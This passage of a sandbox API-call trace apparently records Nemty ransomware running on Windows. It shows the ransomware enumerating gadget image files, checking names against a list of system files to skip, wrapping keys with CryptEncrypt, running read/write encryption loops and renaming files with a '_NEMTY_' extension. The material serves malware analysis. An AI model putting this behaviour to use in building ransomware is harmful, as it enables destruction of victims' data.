lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_hov.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_hov.png._nemty_kgobjgd_")) returned 0 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.350] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2=".") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="..") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="...") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="windows") returned -1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="rsa") returned -1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="NTDETECT.COM") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="ntldr") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="MSDOS.SYS") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="IO.SYS") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="boot.ini") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="boot.ini") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="ntuser.dat") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="desktop.ini") returned 1 [0149.350] lstrcmpiW (lpString1="reveal_rest.png", lpString2="CONFIG.SYS") returned 1 [0149.351] lstrcmpiW (lpString1="reveal_rest.png", lpString2="RECYCLER") returned 1 [0149.351] lstrcmpiW (lpString1="reveal_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0149.351] lstrcmpiW (lpString1="reveal_rest.png", lpString2="bootmgr") returned 1 [0149.351] lstrcmpiW (lpString1="reveal_rest.png", lpString2="programdata") returned 1 [0149.351] lstrcmpiW (lpString1="reveal_rest.png", lpString2="appdata") returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_rest.png", lpUsedDefaultChar=0x0) returned 15 [0149.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_rest.png", lpUsedDefaultChar=0x0) returned 15 [0149.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_rest.png", lpUsedDefaultChar=0x0) returned 15 [0149.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reveal_rest.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reveal_rest.png", lpUsedDefaultChar=0x0) returned 15 [0149.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0149.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0149.351] Sleep (dwMilliseconds=0x5) [0149.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xcaaf0f0, dwHighDateTime=0x1d561e8)) [0149.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xcaaf0f0, dwHighDateTime=0x1d561e8)) [0149.352] GetLastError () returned 0x5 [0149.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.352] GetLastError () returned 0x5 [0149.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.352] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0149.352] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0149.353] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0149.353] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="jLpKWbXTfGDFTuopUVOAhKZbaxzNKNYbN5TIe8HvPA3MIKaxDP5aJmHauG7m2N/7\r\nBJ0dltvIEZRsqCQRvmhP5GMvwfsH2YI8hDqzeCg6Fi5hMjrB3ZjzeuNZX8Xshg7f\r\nrnsw6s05awl8MooSRJXfzhiD4g9gJ3xzQ22tpjnT8FolN7YHLG3f/nW5n0WrxunG\r\n1Rl5HM6P0BEbjml7iwWp3WKlBrGWV+1mRSo6YbSw1QUE4/d8YbQoyJytdwUn4hn0\r\nuXQNiOBzoa1x2w7gvr5aOXwTcqh+Wf+gTVUHRv4jqDufvSPHoAt6PZsR5CimmVtL\r\nOZjEvx1i9nnNLm9lEIveqw==\r\n", pcchString=0x653e91c) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0149.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0149.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.353] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.353] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0149.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0149.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0149.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.458] CloseHandle (hObject=0xffffffff) returned 0 [0149.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0149.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0149.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0149.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0149.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\reveal_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\reveal_rest.png._nemty_kgobjgd_")) returned 0 [0149.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0149.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0149.459] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2=".") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="..") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="...") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="windows") returned -1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="$RECYCLE.BIN") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="rsa") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="NTDETECT.COM") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="ntldr") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="MSDOS.SYS") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="IO.SYS") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="boot.ini") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="boot.ini") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="ntuser.dat") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="desktop.ini") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="CONFIG.SYS") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="RECYCLER") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="BOOTSECT.BAK") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="bootmgr") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="programdata") returned 1 [0149.459] lstrcmpiW (lpString1="Tulip.jpg", lpString2="appdata") 